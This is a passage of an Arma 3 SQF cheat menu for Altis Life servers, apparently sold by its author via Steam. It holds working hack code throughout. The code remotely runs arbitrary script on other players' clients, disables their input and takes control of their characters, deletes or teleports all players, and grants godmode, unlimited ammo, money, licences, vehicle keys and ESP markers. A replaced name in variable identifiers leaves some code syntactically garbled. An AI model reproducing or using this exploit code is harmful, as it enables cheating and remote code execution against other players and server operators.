- _wPos = screenToWorld[0.5, 0.5];
- _side = side player;
- Aaron is sexy updated_Dummy = [_wPos, _dir, 'I_G_Soldier_AR_F', _side] call bis_fnc_spawnvehicle;
- Dummy = Aaron is sexy updated_Dummy select 0;
- removeAllWeapons Dummy;
- removeBackpack Dummy;
- removeHeadgear Dummy;
- removeVest Dummy;
- removeHeadgear Dummy;
- Dummy addHeadgear 'H_Shemag_olive';
- Dummy addVest 'V_TacVest_oli';
- Dummy addWeapon 'NVGoggles';
- Dummy addWeapon 'Binocular';
- Dummy addWeapon 'G_Shades_Black';
- Dummy addWeapon 'ItemGPS';
- Dummy addMagazines['5Rnd_127x108_APDS_Mag', 5];
- Dummy addWeapon 'srifle_GM6_LRPS_F';
- Dummy addMagazines['30Rnd_9x21_Mag', 5];
- Dummy addWeapon 'hgun_P07_snds_F';
- hint format["%1 \n Spawned \n Take Control in 3 seconds", Dummy];
- sleep 3; {
- _x = player;
- first = _x;
- _x = vehicle Dummy;
- second = _x;
- secondowner = owner _x;
- }
- foreach playableunits;
- first remotecontrol second;
- vehicle second switchcamera "EXTERNAL";
- hint "Press F3 to switch back \n by Aaron is sexy updated";
- call Dummy_Menu;
- }, "", 50];
- player addAction["<t color='#000000'>----------------------</t>", {
- hint "Menu by Aaron is sexy updated";
- }, "", 50];
- player addAction["Give Player HackMenu", {
- removeallactions player;
- player addAction["<t color='#FF0000'>Close Menu</t>", {
- removeallactions player;
- call init_main;
- }, "", 50];
- player addAction["<t color='#000000'>----------------------</t>", {
- hint "Menu by Aaron is sexy updated";
- }, "", 50];
- _AllUnits = playableUnits;
- _CountAllUnits = count _AllUnits;
- _Selected = 0;
- for "_Selected"
- from 0 to _CountAllUnits do {
- _TargetUnit = _AllUnits select _Selected;
- hint format[" \n - Player - List - \n \n - Made by Aaron is sexy updated - \n \n ----------------------------------------------- \n User Online: \n %1 \n ----------------------------------------------- \n Current Loaded: \n %2 \n ----------------------------------------------- \n ", _CountAllUnits, _Selected];
- };
- Aaron is sexy updated_PlayerList = {
- {
- if ((isPlayer _x) && (alive _x)) then {
- player addAction[format["%1 - %2", _x, name _x], {
- _player = (_this select 3);
- [_player, "removeallactions player;E5P = 0;Aaron is sexy updated_God = 0;Aaron is sexy updated_Unlim_Ammo = 0;['TaskSucceeded', ['', 'Test Hack Granted - by Aaron is sexy updated']] call BIS_fnc_showNotification;player addAction ['<t color=''#FF0000''> - - Test Hack by Aaron is sexy updated - - </t>', { hint '\n Test Hack by Aaron is sexy updated \n\n -----------------------------------------------\n if you want to buy the full hack\n -----------------------------------------------\n add me on Steam: \n Aaron is sexy updated_Arma \n'; },'',50];player addAction ['<t color=''#000000''>-------------------------------------------------</t>', { hint '\n Test Hack by Aaron is sexy updated \n\n -----------------------------------------------\n if you want to buy the full hack\n -----------------------------------------------\n add me on Steam: \n Aaron is sexy updated_Arma \n'; },'',50];player addAction ['Civ Outfit', { removeUniform player; removeAllWeapons player; removeBackpack player; removeHeadgear player; removeVest player; removeHeadgear player; player addUniform 'U_IG_Guerilla2_3'; player addHeadgear 'H_Bandanna_khk'; player addVest 'V_TacVest_oli'; player addWeapon 'NVGoggles'; player addWeapon 'Binocular'; player addWeapon 'G_Shades_Black'; player addBackpack 'B_Carryall_oli'; player addWeapon 'ItemGPS'; },'',50];player addAction ['License', {life_licenses =[['license_civ_driver','civ'],['license_civ_truck','civ'],['license_civ_air','civ'],['license_civ_gun','civ'],['license_civ_rebel','civ'],['license_civ_diamond','civ'],['license_civ_heroin','civ'],['license_civ_marijuana','civ']];{missionNamespace setVariable[(_x select 0),true];} foreach life_licenses;},'',50];player addAction ['Spawn Katiba', { player addMagazines ['30Rnd_65x39_caseless_green',5]; player addWeapon 'arifle_Katiba_ARCO_pointer_snds_F'; },'',50];player addAction ['Spawn Offroad', {'C_Offroad_01_F' createVehicle position player;},'',50];player addAction ['TP me to Kavalla Top', { player setPos [3690,13150,14.6]; hint format ['Ported - by Aaron is sexy updated']; },'',50];player addAction ['<t color=''#000000''>-------------------------------------------------</t>', { hint '\n Test Hack by Aaron is sexy updated \n\n -----------------------------------------------\n if you want to buy the full hack\n -----------------------------------------------\n add me on Steam: \n Aaron is sexy updated_Arma \n';},'',50];player addAction ['Lock / Unlock Target',{_vehicle = vehicle player;if(_vehicle == player) then{_veh = cursorTarget;_locked = locked _veh;if(_locked == 2) then{_veh setVehicleLock 'UNLOCKED';hint 'You have unlocked a vehicle';}else{_veh setVehicleLock 'LOCKED';hint 'You have locked a vehicle';};};if(_vehicle != player) then{_veh = vehicle player;_locked = locked _veh;if(_locked == 2) then{_veh setVehicleLock 'UNLOCKED';hint 'You have unlocked a vehicle';}else{_veh setVehicleLock 'LOCKED';hint 'You have locked a vehicle';};};},'',50];player addAction ['Get Key Target', {hint 'You got the Keys \n by Aaron is sexy updated';life_vehicles set[count life_vehicles,cursorTarget];life_vehicles set[count life_vehicles,vehicle player];},'',50];player addAction ['<t color=''#000000''>-------------------------------------------------</t>', { hint '\n Test Hack by Aaron is sexy updated \n\n -----------------------------------------------\n if you want to buy the full hack\n -----------------------------------------------\n add me on Steam: \n Aaron is sexy updated_Arma \n';},'',50];player addAction ['Money 100k',{life_Cash = Life_Cash + 100000; },'',50];player addAction ['GodMode', {if ( Aaron is sexy updated_God == 0 ) then { Aaron is sexy updated_God = 1;hint 'Godmode \n by Aaron is sexy updated \n ON';player removeAllEventHandlers'handleDamage';player addEventHandler ['handleDamage',{false}];player allowDamage false;vehicle player removeAllEventHandlers'handleDamage';vehicle player addEventHandler ['handleDamage',{false}];vehicle player allowDamage false;} else { Aaron is sexy updated_God = 0;hint 'Godmode \n by Aaron is sexy updated \n OFF';player addEventHandler ['handleDamage',{true}];player removeAllEventHandlers 'handleDamage';player allowDamage true;vehicle player addEventHandler ['handleDamage',{true}];vehicle player removeAllEventHandlers 'handleDamage';vehicle player allowDamage true;};},'',50];player addAction ['Unlimited Ammo', {if ( Aaron is sexy updated_Unlim_Ammo == 0 ) then {Aaron is sexy updated_Unlim_Ammo = 1;hint 'Unlimit Ammo \n by Aaron is sexy updated \n ON'; } else {Aaron is sexy updated_Unlim_Ammo = 0;hint 'Unlimit Ammo \n by Aaron is sexy updated \n OFF';};while { Aaron is sexy updated_Unlim_Ammo == 1 } do {_l25 = primaryWeapon player;_l31 = secondaryWeapon player;player setAmmo[_l25, 999];player setAmmo[_l31, 999];(vehicle player) setVehicleAmmo 1;(vehicle player) setVehicleAmmo 1;sleep 0.01;};},'',50];player addAction ['E5P Markers', {if (E5P == 0) then {E5P = 1;hint 'E5P ON';} else {E5P = 0;hint 'E5P OFF';};if (E5P == 1) then {onEachFrame {_l49 = nearestobjects[player, ['CAManBase'], 1400]; {if ((side _x != side player) && (getPlayerUID _x != '') && ((player distance _x) < 1400)) then {drawIcon3D['', [1, 0, 0, 1], [visiblePosition _x select 0, visiblePosition _x select 1, (getPosATL _x select 2) + 2], 0.1, 0.1, 45, (format['No Names in TestVersion', round(player distance _x), name _x]), 1, 0.04, 'TahomaB']} else {if ((getPlayerUID _x != '') && ((player distance _x) < 1000)) then {drawIcon3D['', [0, 0.5, 1, 1], [visiblePosition _x select 0, visiblePosition _x select 1, (getPosATL _x select 2) + 2], 0.1, 0.1, 45, (format['No Names in TestVersion', round(player distance _x), name _x]), 1, 0.04, 'TahomaB']};};}foreach playableUnits;};} else {onEachFrame {nil};};},'',50];player addAction ['<t color=''#000000''>-------------------------------------------------</t>', { hint '\n Test Hack by Aaron is sexy updated \n\n -----------------------------------------------\n if you want to buy the full hack\n -----------------------------------------------\n add me on Steam: \n Aaron is sexy updated_Arma \n';},'',50];"] call Aaron is sexy updated;
- hint format["%1 got the 'Test Hack Menu' \n by Aaron is sexy updated", name _player];
- }, _x]
- };
- }
- forEach(playableUnits);
- };
- [] call Aaron is sexy updated_PlayerList;
- }, "", 50];
- player addAction["Give all Players HackMenu", {
- [TRUE, "removeallactions player;E5P = 0;Aaron is sexy updated_God = 0;Aaron is sexy updated_Unlim_Ammo = 0;['TaskSucceeded', ['', 'Test Hack Granted - by Aaron is sexy updated']] call BIS_fnc_showNotification;player addAction ['<t color=''#FF0000''> - - Test Hack by Aaron is sexy updated - - </t>', { hint '\n Test Hack by Aaron is sexy updated \n\n -----------------------------------------------\n if you want to buy the full hack\n -----------------------------------------------\n add me on Steam: \n Aaron is sexy updated_Arma \n'; },'',50];player addAction ['<t color=''#000000''>-------------------------------------------------</t>', { hint '\n Test Hack by Aaron is sexy updated \n\n -----------------------------------------------\n if you want to buy the full hack\n -----------------------------------------------\n add me on Steam: \n Aaron is sexy updated_Arma \n'; },'',50];player addAction ['Civ Outfit', { removeUniform player; removeAllWeapons player; removeBackpack player; removeHeadgear player; removeVest player; removeHeadgear player; player addUniform 'U_IG_Guerilla2_3'; player addHeadgear 'H_Bandanna_khk'; player addVest 'V_TacVest_oli'; player addWeapon 'NVGoggles'; player addWeapon 'Binocular'; player addWeapon 'G_Shades_Black'; player addBackpack 'B_Carryall_oli'; player addWeapon 'ItemGPS'; },'',50];player addAction ['License', {life_licenses =[['license_civ_driver','civ'],['license_civ_truck','civ'],['license_civ_air','civ'],['license_civ_gun','civ'],['license_civ_rebel','civ'],['license_civ_diamond','civ'],['license_civ_heroin','civ'],['license_civ_marijuana','civ']];{missionNamespace setVariable[(_x select 0),true];} foreach life_licenses;},'',50];player addAction ['Spawn Katiba', { player addMagazines ['30Rnd_65x39_caseless_green',5]; player addWeapon 'arifle_Katiba_ARCO_pointer_snds_F'; },'',50];player addAction ['Spawn Offroad', {'C_Offroad_01_F' createVehicle position player;},'',50];player addAction ['TP me to Kavalla Top', { player setPos [3690,13150,14.6]; hint format ['Ported - by Aaron is sexy updated']; },'',50];player addAction ['<t color=''#000000''>-------------------------------------------------</t>', { hint '\n Test Hack by Aaron is sexy updated \n\n -----------------------------------------------\n if you want to buy the full hack\n -----------------------------------------------\n add me on Steam: \n Aaron is sexy updated_Arma \n';},'',50];player addAction ['Lock / Unlock Target',{_vehicle = vehicle player;if(_vehicle == player) then{_veh = cursorTarget;_locked = locked _veh;if(_locked == 2) then{_veh setVehicleLock 'UNLOCKED';hint 'You have unlocked a vehicle';}else{_veh setVehicleLock 'LOCKED';hint 'You have locked a vehicle';};};if(_vehicle != player) then{_veh = vehicle player;_locked = locked _veh;if(_locked == 2) then{_veh setVehicleLock 'UNLOCKED';hint 'You have unlocked a vehicle';}else{_veh setVehicleLock 'LOCKED';hint 'You have locked a vehicle';};};},'',50];player addAction ['Get Key Target', {hint 'You got the Keys \n by Aaron is sexy updated';life_vehicles set[count life_vehicles,cursorTarget];life_vehicles set[count life_vehicles,vehicle player];},'',50];player addAction ['<t color=''#000000''>-------------------------------------------------</t>', { hint '\n Test Hack by Aaron is sexy updated \n\n -----------------------------------------------\n if you want to buy the full hack\n -----------------------------------------------\n add me on Steam: \n Aaron is sexy updated_Arma \n';},'',50];player addAction ['Money 100k',{life_Cash = Life_Cash + 100000; },'',50];player addAction ['GodMode', {if ( Aaron is sexy updated_God == 0 ) then { Aaron is sexy updated_God = 1;hint 'Godmode \n by Aaron is sexy updated \n ON';player removeAllEventHandlers'handleDamage';player addEventHandler ['handleDamage',{false}];player allowDamage false;vehicle player removeAllEventHandlers'handleDamage';vehicle player addEventHandler ['handleDamage',{false}];vehicle player allowDamage false;} else { Aaron is sexy updated_God = 0;hint 'Godmode \n by Aaron is sexy updated \n OFF';player addEventHandler ['handleDamage',{true}];player removeAllEventHandlers 'handleDamage';player allowDamage true;vehicle player addEventHandler ['handleDamage',{true}];vehicle player removeAllEventHandlers 'handleDamage';vehicle player allowDamage true;};},'',50];player addAction ['Unlimited Ammo', {if ( Aaron is sexy updated_Unlim_Ammo == 0 ) then {Aaron is sexy updated_Unlim_Ammo = 1;hint 'Unlimit Ammo \n by Aaron is sexy updated \n ON'; } else {Aaron is sexy updated_Unlim_Ammo = 0;hint 'Unlimit Ammo \n by Aaron is sexy updated \n OFF';};while { Aaron is sexy updated_Unlim_Ammo == 1 } do {_l25 = primaryWeapon player;_l31 = secondaryWeapon player;player setAmmo[_l25, 999];player setAmmo[_l31, 999];(vehicle player) setVehicleAmmo 1;(vehicle player) setVehicleAmmo 1;sleep 0.01;};},'',50];player addAction ['E5P Markers', {if (E5P == 0) then {E5P = 1;hint 'E5P ON';} else {E5P = 0;hint 'E5P OFF';};if (E5P == 1) then {onEachFrame {_l49 = nearestobjects[player, ['CAManBase'], 1400]; {if ((side _x != side player) && (getPlayerUID _x != '') && ((player distance _x) < 1400)) then {drawIcon3D['', [1, 0, 0, 1], [visiblePosition _x select 0, visiblePosition _x select 1, (getPosATL _x select 2) + 2], 0.1, 0.1, 45, (format['No Names in TestVersion', round(player distance _x), name _x]), 1, 0.04, 'TahomaB']} else {if ((getPlayerUID _x != '') && ((player distance _x) < 1000)) then {drawIcon3D['', [0, 0.5, 1, 1], [visiblePosition _x select 0, visiblePosition _x select 1, (getPosATL _x select 2) + 2], 0.1, 0.1, 45, (format['No Names in TestVersion', round(player distance _x), name _x]), 1, 0.04, 'TahomaB']};};}foreach playableUnits;};} else {onEachFrame {nil};};},'',50];player addAction ['<t color=''#000000''>-------------------------------------------------</t>', { hint '\n Test Hack by Aaron is sexy updated \n\n -----------------------------------------------\n if you want to buy the full hack\n -----------------------------------------------\n add me on Steam: \n Aaron is sexy updated_Arma \n';},'',50];"] call Aaron is sexy updated;
- hint "All players got the 'Test Hack Menu' \n by Aaron is sexy updated";
- }, "", 50];
- player addAction["<t color='#000000'>----------------------</t>", {
- hint "Menu by Aaron is sexy updated";
- }, "", 50];
- player addAction["Spectate Player", {
- removeallactions player;
- player addAction["<t color='#FF0000'>Close Menu</t>", {
- removeallactions player;
- call init_main;
- }, "", 50];
- player addAction["<t color='#000000'>----------------------</t>", {
- hint "Menu by Aaron is sexy updated";
- }, "", 50];
- _AllUnits = playableUnits;
- _CountAllUnits = count _AllUnits;
- _Selected = 0;
- for "_Selected"
- from 0 to _CountAllUnits do {
- _TargetUnit = _AllUnits select _Selected;
- hint format[" \n - Player - List - \n \n - Made by Aaron is sexy updated - \n \n ----------------------------------------------- \n User Online: \n %1 \n ----------------------------------------------- \n Current Loaded: \n %2 \n ----------------------------------------------- \n ", _CountAllUnits, _Selected];
- };
- Aaron is sexy updated_PlayerList = {
- {
- if ((isPlayer _x) && (alive _x)) then {
- player addAction[format["%1 - %2", _x, name _x], {
- _player = (_this select 3); {
- _x = player;
- first = _x;
- _x = _player;
- second = _x;
- secondowner = owner _x;
- }
- foreach playableunits;
- (vehicle second) switchcamera "EXTERNAL";
- hint "Press F3 to switch back \n by Aaron is sexy updated";
- }, _x]
- };
- }
- forEach(playableUnits);
- };
- [] call Aaron is sexy updated_PlayerList;
- }, "", 50];
- player addAction["Control Player", {
- removeallactions player;
- player addAction["<t color='#FF0000'>Close Menu</t>", {
- removeallactions player;
- call init_main;
- }, "", 50];
- player addAction["<t color='#000000'>----------------------</t>", {
- hint "Menu by Aaron is sexy updated";
- }, "", 49];
- _AllUnits = playableUnits;
- _CountAllUnits = count _AllUnits;
- _Selected = 0;
- for "_Selected"
- from 0 to _CountAllUnits do {
- _TargetUnit = _AllUnits select _Selected;
- hint format[" \n - Player - List - \n \n - Made by Aaron is sexy updated - \n \n ----------------------------------------------- \n User Online: \n %1 \n ----------------------------------------------- \n Current Loaded: \n %2 \n ----------------------------------------------- \n ", _CountAllUnits, _Selected];
- };
- Aaron is sexy updated_PlayerList = {
- {
- if ((isPlayer _x) && (alive _x)) then {
- player addAction[format["%1 - %2", _x, name _x], {
- _player = (_this select 3);
- [_player, "disableUserInput true;"] call Aaron is sexy updated; {
- _x = player;
- first = _x;
- _x = _player;
- second = _x;
- secondowner = owner _x;
- }
- foreach playableunits;
- first remotecontrol second;
- vehicle second switchcamera "EXTERNAL";
- hint "Press F3 to switch back \n by Aaron is sexy updated";
- }, _x]
- };
- }
- forEach(playableUnits);
- };
- [] call Aaron is sexy updated_PlayerList;
- }, "", 50];
- player addAction["Special Control Player</t>", {
- removeallactions player;
- player addAction["<t color='#FF0000'>Close Menu</t>", {
- removeallactions player;
- call init_main;
- }, "", 50];
- player addAction["<t color='#000000'>----------------------</t>", {
- hint "Menu by Aaron is sexy updated";
- }, "", 49];
- _AllUnits = playableUnits;
- _CountAllUnits = count _AllUnits;
- _Selected = 0;
- for "_Selected"
- from 0 to _CountAllUnits do {
- _TargetUnit = _AllUnits select _Selected;
- hint format[" \n - Player - List - \n \n - Made by Aaron is sexy updated - \n \n ----------------------------------------------- \n User Online: \n %1 \n ----------------------------------------------- \n Current Loaded: \n %2 \n ----------------------------------------------- \n ", _CountAllUnits, _Selected];
- };
- Aaron is sexy updated_PlayerList = {
- {
- if ((isPlayer _x) && (alive _x)) then {
- player addAction[format["%1 - %2", _x, name _x], {
- c_player = (_this select 3);
- [c_player, "disableUserInput true;player allowDamage false;removeVest player; player addVest 'V_TacVest_oli'; player addMagazines ['30Rnd_556x45_Stanag_Tracer_Green',1]; player addWeapon 'arifle_Mk20_F'; player addPrimaryWeaponItem 'muzzle_snds_H';player addPrimaryWeaponItem 'optic_Hamr';"] call Aaron is sexy updated; {
- _x = player;
- first = _x;
- _x = c_player;
- second = _x;
- secondowner = owner _x;
- }
- foreach playableunits;
- first remotecontrol second;
- vehicle second switchcamera "EXTERNAL";
- hint "Press F3 to switch back";
- while {
- alive c_player
- }
- do {
- c_player setFatigue 0;
- _l25 = primaryWeapon c_player;
- _l31 = secondaryWeapon c_player;
- c_player setAmmo[_l25, 999];
- c_player setAmmo[_l31, 999];
- (vehicle c_player) setVehicleAmmo 1;
- (vehicle c_player) setVehicleAmmo 1;
- sleep 0.01;
- };
- }, _x]
- };
- }
- forEach(playableUnits);
- };
- [] call Aaron is sexy updated_PlayerList;
- }, "", 50];
- player addAction["<t color='#000000'>----------------------</t>", {
- hint "Menu by Aaron is sexy updated";
- }, "", 50];
- player addAction["Give Player Money", {
- removeallactions player;
- player addAction["<t color='#FF0000'>Close Menu</t>", {
- removeallactions player;
- call init_main;
- }, "", 50];
- player addAction["<t color='#000000'>----------------------</t>", {
- hint "Menu by Aaron is sexy updated";
- }, "", 50];
- _AllUnits = playableUnits;
- _CountAllUnits = count _AllUnits;
- _Selected = 0;
- for "_Selected"
- from 0 to _CountAllUnits do {
- _TargetUnit = _AllUnits select _Selected;
- hint format[" \n - Player - List - \n \n - Made by Aaron is sexy updated - \n \n ----------------------------------------------- \n User Online: \n %1 \n ----------------------------------------------- \n Current Loaded: \n %2 \n ----------------------------------------------- \n ", _CountAllUnits, _Selected];
- };
- Aaron is sexy updated_PlayerList = {
- {
- if ((isPlayer _x) && (alive _x)) then {
- player addAction[format["%1 - %2", _x, name _x], {
- _player = (_this select 3);
- [_player, "life_atmCash = life_atmCash + 1000000;"] call Aaron is sexy updated;
- hint format["%1 got 1000k Money \n by Aaron is sexy updated", name _player];
- }, _x]
- };
- }
- forEach(playableUnits);
- };
- [] call Aaron is sexy updated_PlayerList;
- }, "", 50];
- player addAction["Give Player Equipment", {
- removeallactions player;
- player addAction["<t color='#FF0000'>Close Menu</t>", {
- removeallactions player;
- call init_main;
- }, "", 5];
- player addAction["<t color='#000000'>----------------------</t>", {
- hint "Menu by Aaron is sexy updated";
- }, "", 50];
- _AllUnits = playableUnits;
- _CountAllUnits = count _AllUnits;
- _Selected = 0;
- for "_Selected"
- from 0 to _CountAllUnits do {
- _TargetUnit = _AllUnits select _Selected;
- hint format[" \n - Player - List - \n \n - Made by Aaron is sexy updated - \n \n ----------------------------------------------- \n User Online: \n %1 \n ----------------------------------------------- \n Current Loaded: \n %2 \n ----------------------------------------------- \n ", _CountAllUnits, _Selected];
- };
- Aaron is sexy updated_PlayerList = {
- {
- if ((isPlayer _x) && (alive _x)) then {
- player addAction[format["%1 - %2", _x, name _x], {
- _player = (_this select 3);
- [_player, "removeUniform player; removeAllWeapons player; removeBackpack player; removeHeadgear player; removeVest player;removeHeadgear player; player addBackpack 'B_Carryall_oli'; player addWeapon 'ItemWatch'; player addWeapon 'ItemCompass'; player addWeapon 'ItemGPS'; player addWeapon 'ItemRadio'; player addWeapon 'ItemMap'; player addUniform 'U_I_G_resistanceLeader_F'; player addHeadgear 'H_MilCap_oucamo'; player addVest 'V_TacVest_oli'; player addWeapon 'NVGoggles'; player addWeapon 'G_Shades_Black'; player addWeapon 'ItemGPS'; (unitBackpack player) addItemCargo ['30Rnd_65x39_caseless_mag_Tracer',6]; (unitBackpack player) addItemCargo ['3Rnd_HE_Grenade_shell',3];(unitBackpack player) addItemCargo ['3Rnd_Smoke_Grenade_shell',3]; (unitBackpack player) addItemCargo ['3Rnd_UGL_FlareWhite_F',3];(unitBackpack player) addItemCargo ['3Rnd_UGL_FlareGreen_F',3]; (unitBackpack player) addItemCargo ['3Rnd_UGL_FlareRed_F',3]; (unitBackpack player) addItemCargo ['3Rnd_UGL_FlareYellow_F',3]; (unitBackpack player) addItemCargo ['3Rnd_UGL_FlareCIR_F',3];player addWeapon 'arifle_MX_GL_Hamr_pointer_F'; player addPrimaryWeaponItem 'muzzle_snds_H'; player addPrimaryWeaponItem 'optic_Hamr';"] call Aaron is sexy updated;
- hint format["%1 got Equipment \n by Aaron is sexy updated", name _player];
- }, _x]
- };
- }
- forEach(playableUnits);
- };
- [] call Aaron is sexy updated_PlayerList;
- }, "", 50];
- player addAction["Give Player Godmode ON", {
- removeallactions player;
- player addAction["<t color='#FF0000'>Close Menu</t>", {
- removeallactions player;
- call init_main;
- }, "", 5];
- player addAction["<t color='#000000'>----------------------</t>", {
- hint "Menu by Aaron is sexy updated";
- }, "", 50];
- _AllUnits = playableUnits;
- _CountAllUnits = count _AllUnits;
- _Selected = 0;
- for "_Selected"
- from 0 to _CountAllUnits do {
- _TargetUnit = _AllUnits select _Selected;
- hint format[" \n - Player - List - \n \n - Made by Aaron is sexy updated - \n \n ----------------------------------------------- \n User Online: \n %1 \n ----------------------------------------------- \n Current Loaded: \n %2 \n ----------------------------------------------- \n ", _CountAllUnits, _Selected];
- };
- Aaron is sexy updated_PlayerList = {
- {
- if ((isPlayer _x) && (alive _x)) then {
- player addAction[format["%1 - %2", _x, name _x], {
- _player = (_this select 3);
- hint format["%1 \n Godmode ON \n by Aaron is sexy updated", name _player];
- fnc_usec_damageHandler = {};
- fnc_usec_unconscious = {};
- _player removeAllEventHandlers "handleDamage";
- _player addEventHandler["handleDamage", {
- false
- }];
- _player allowDamage false;
- vehicle _player removeAllEventHandlers "handleDamage";
- vehicle _player addEventHandler["handleDamage", {
- false
- }];
- vehicle _player allowDamage false;
- }, _x]
- };
- }
- forEach(playableUnits);
- };
- [] call Aaron is sexy updated_PlayerList;
- }, "", 50];
- player addAction["Give Player Godmode OFF", {
- removeallactions player;
- player addAction["<t color='#FF0000'>Close Menu</t>", {
- removeallactions player;
- call init_main;
- }, "", 5];
- player addAction["<t color='#000000'>----------------------</t>", {
- hint "Menu by Aaron is sexy updated";
- }, "", 50];
- _AllUnits = playableUnits;
- _CountAllUnits = count _AllUnits;
- _Selected = 0;
- for "_Selected"
- from 0 to _CountAllUnits do {
- _TargetUnit = _AllUnits select _Selected;
- hint format[" \n - Player - List - \n \n - Made by Aaron is sexy updated - \n \n ----------------------------------------------- \n User Online: \n %1 \n ----------------------------------------------- \n Current Loaded: \n %2 \n ----------------------------------------------- \n ", _CountAllUnits, _Selected];
- };
- Aaron is sexy updated_PlayerList = {
- {
- if ((isPlayer _x) && (alive _x)) then {
- player addAction[format["%1 - %2", _x, name _x], {
- _player = (_this select 3);
- hint format["%1 \n Godmode OFF \n by Aaron is sexy updated", name _player];
- _player addEventHandler["handleDamage", {
- true
- }];
- _player removeAllEventHandlers "handleDamage";
- _player allowDamage true;
- }, _x]
- };
- }
- forEach(playableUnits);
- };
- [] call Aaron is sexy updated_PlayerList;
- }, "", 50];
- player addAction["<t color='#000000'>----------------------</t>", {
- hint "Menu by Aaron is sexy updated";
- }, "", 50];
- player addAction["TP me to kavalla Top", {
- player setPos[3690, 13150, 14.6];
- hint format["Ported - by Aaron is sexy updated"];
- }, "", 50];
- player addAction["TP all to my Cursor", {
- _wPos = screenToWorld[0.5, 0.5];
- _donot = name player;
- [TRUE, "deleteVehicle player;"] call Aaron is sexy updated; {
- if (name _x != name player) then {
- vehicle _x setPos(_wPos);
- };
- }
- foreach playableUnits;
- hint format[" All players teleported to: \n %1 \n by Aaron is sexy updated", _wPos];
- }, "", 50];
- player addAction["Teleport Player to Mapclick", {
- removeallactions player;
- player addAction["<t color='#FF0000'>Close Menu</t>", {
- removeallactions player;
- call init_main;
- }, "", 50];
- player addAction["<t color='#000000'>----------------------</t>", {
- hint "Menu by Aaron is sexy updated";
- }, "", 50];
- _AllUnits = playableUnits;
- _CountAllUnits = count _AllUnits;
- _Selected = 0;
- for "_Selected"
- from 0 to _CountAllUnits do {
- _TargetUnit = _AllUnits select _Selected;
- hint format[" \n - Player - List - \n \n - Made by Aaron is sexy updated - \n \n ----------------------------------------------- \n User Online: \n %1 \n ----------------------------------------------- \n Current Loaded: \n %2 \n ----------------------------------------------- \n ", _CountAllUnits, _Selected];
- };
- Aaron is sexy updated_PlayerList = {
- {
- if ((isPlayer _x) && (alive _x)) then {
- player addAction[format["%1 - %2", _x, name _x], {
- tp_player = (_this select 3);
- openMap[true, false];
- onMapSingleClick '_pos1 = [(_pos select 0), (_pos select 1), 0];vehicle tp_player setPos _pos1;hint format [ "%1 \n was teleported to \n %2 \n by Aaron is sexy updated", name tp_player, _pos1]onMapSingleClick "";openMap [false, false];';
- }, _x]
- };
- }
- forEach(playableUnits);
- };
- [] call Aaron is sexy updated_PlayerList;
- }, "", 50];
- player addAction["Teleport Player to me", {
- removeallactions player;
- player addAction["<t color='#FF0000'>Close Menu</t>", {
- removeallactions player;
- call init_main;
- }, "", 50];
- player addAction["<t color='#000000'>----------------------</t>", {
- hint "Menu by Aaron is sexy updated";
- }, "", 50];
- _AllUnits = playableUnits;
- _CountAllUnits = count _AllUnits;
- _Selected = 0;
- for "_Selected"
- from 0 to _CountAllUnits do {
- _TargetUnit = _AllUnits select _Selected;
- hint format[" \n - Player - List - \n \n - Made by Aaron is sexy updated - \n \n ----------------------------------------------- \n User Online: \n %1 \n ----------------------------------------------- \n Current Loaded: \n %2 \n ----------------------------------------------- \n ", _CountAllUnits, _Selected];
- };
- Aaron is sexy updated_PlayerList = {
- {
- if ((isPlayer _x) && (alive _x)) then {
- player addAction[format["%1 - %2", _x, name _x], {
- _player = (_this select 3);
- vehicle _player setPos[(getpos player select 0) + 5, (getpos player select 1) + 5, (getpos player select 2)];
- hint format["%1 \n was Teleported to you \n by Aaron is sexy updated", name _player];
- }, _x]
- };
- }
- forEach(playableUnits);
- };
- [] call Aaron is sexy updated_PlayerList;
- }, "", 50];
- player addAction["Teleport me to Player", {
- removeallactions player;
- player addAction["<t color='#FF0000'>Close Menu</t>", {
- removeallactions player;
- call init_main;
- }, "", 50];
- player addAction["<t color='#000000'>----------------------</t>", {
- hint "Menu by Aaron is sexy updated";
- }, "", 50];
- _AllUnits = playableUnits;
- _CountAllUnits = count _AllUnits;
- _Selected = 0;
- for "_Selected"
- from 0 to _CountAllUnits do {
- _TargetUnit = _AllUnits select _Selected;
- hint format[" \n - Player - List - \n \n - Made by Aaron is sexy updated - \n \n ----------------------------------------------- \n User Online: \n %1 \n ----------------------------------------------- \n Current Loaded: \n %2 \n ----------------------------------------------- \n ", _CountAllUnits, _Selected];
- };
- Aaron is sexy updated_PlayerList = {
- {
- if ((isPlayer _x) && (alive _x)) then {
- player addAction[format["%1 - %2", _x, name _x], {
- _player = (_this select 3);
- vehicle player setPos[(getpos _player select 0) + 5, (getpos _player select 1) + 5, (getpos _player select 2)];
- hint format["You have been Ported to \n %1 \n by Aaron is sexy updated", name _player];
- }, _x]
- };
- }
- forEach(playableUnits);
- };
- [] call Aaron is sexy updated_PlayerList;
- }, "", 50];
- player addAction["Teleport me to Player (Stealth)", {
- removeallactions player;
- player addAction["<t color='#FF0000'>Close Menu</t>", {
- removeallactions player;
- call init_main;
- }, "", 50];
- player addAction["<t color='#000000'>----------------------</t>", {
- hint "Menu by Aaron is sexy updated";
- }, "", 50];
- _AllUnits = playableUnits;
- _CountAllUnits = count _AllUnits;
- _Selected = 0;
- for "_Selected"
- from 0 to _CountAllUnits do {
- _TargetUnit = _AllUnits select _Selected;
- hint format[" \n - Player - List - \n \n - Made by Aaron is sexy updated - \n \n ----------------------------------------------- \n User Online: \n %1 \n ----------------------------------------------- \n Current Loaded: \n %2 \n ----------------------------------------------- \n ", _CountAllUnits, _Selected];
- };
- Aaron is sexy updated_PlayerList = {
- {
- if ((isPlayer _x) && (alive _x)) then {
- player addAction[format["%1 - %2", _x, name _x], {
- _player = (_this select 3);
- vehicle player setPos[(getpos _player select 0) + 100, (getpos _player select 1) + 100, (getpos _player select 2)];
- hint format["You have been Ported to \n %1 \n by Aaron is sexy updated", name _player];
- }, _x]
- };
- }
- forEach(playableUnits);
- };
- [] call Aaron is sexy updated_PlayerList;
- }, "", 50];
- };
- ExtrasMenubyAaron is sexy updated = {
- removeallactions player;
- player addAction["<t color='#FF0000'>Close Menu</t>", {
- removeallactions player;
- call init_main;
- }, "", 50];
- player addAction["<t color='#000000'>----------------------</t>", {
- hint "Menu by Aaron is sexy updated";
- }, "", 50];
- player addAction["Map Markers", {
- Aaron is sexy updated_Noobs = [];
- Aaron is sexy updated_Bitches = [];
- if (isnil "Aaron is sexy updated_Map_Markers") then {
- Aaron is sexy updated_Map_Markers = 0;
- };
- if (Aaron is sexy updated_Map_Markers == 0) then {
- Aaron is sexy updated_Map_Markers = 1;
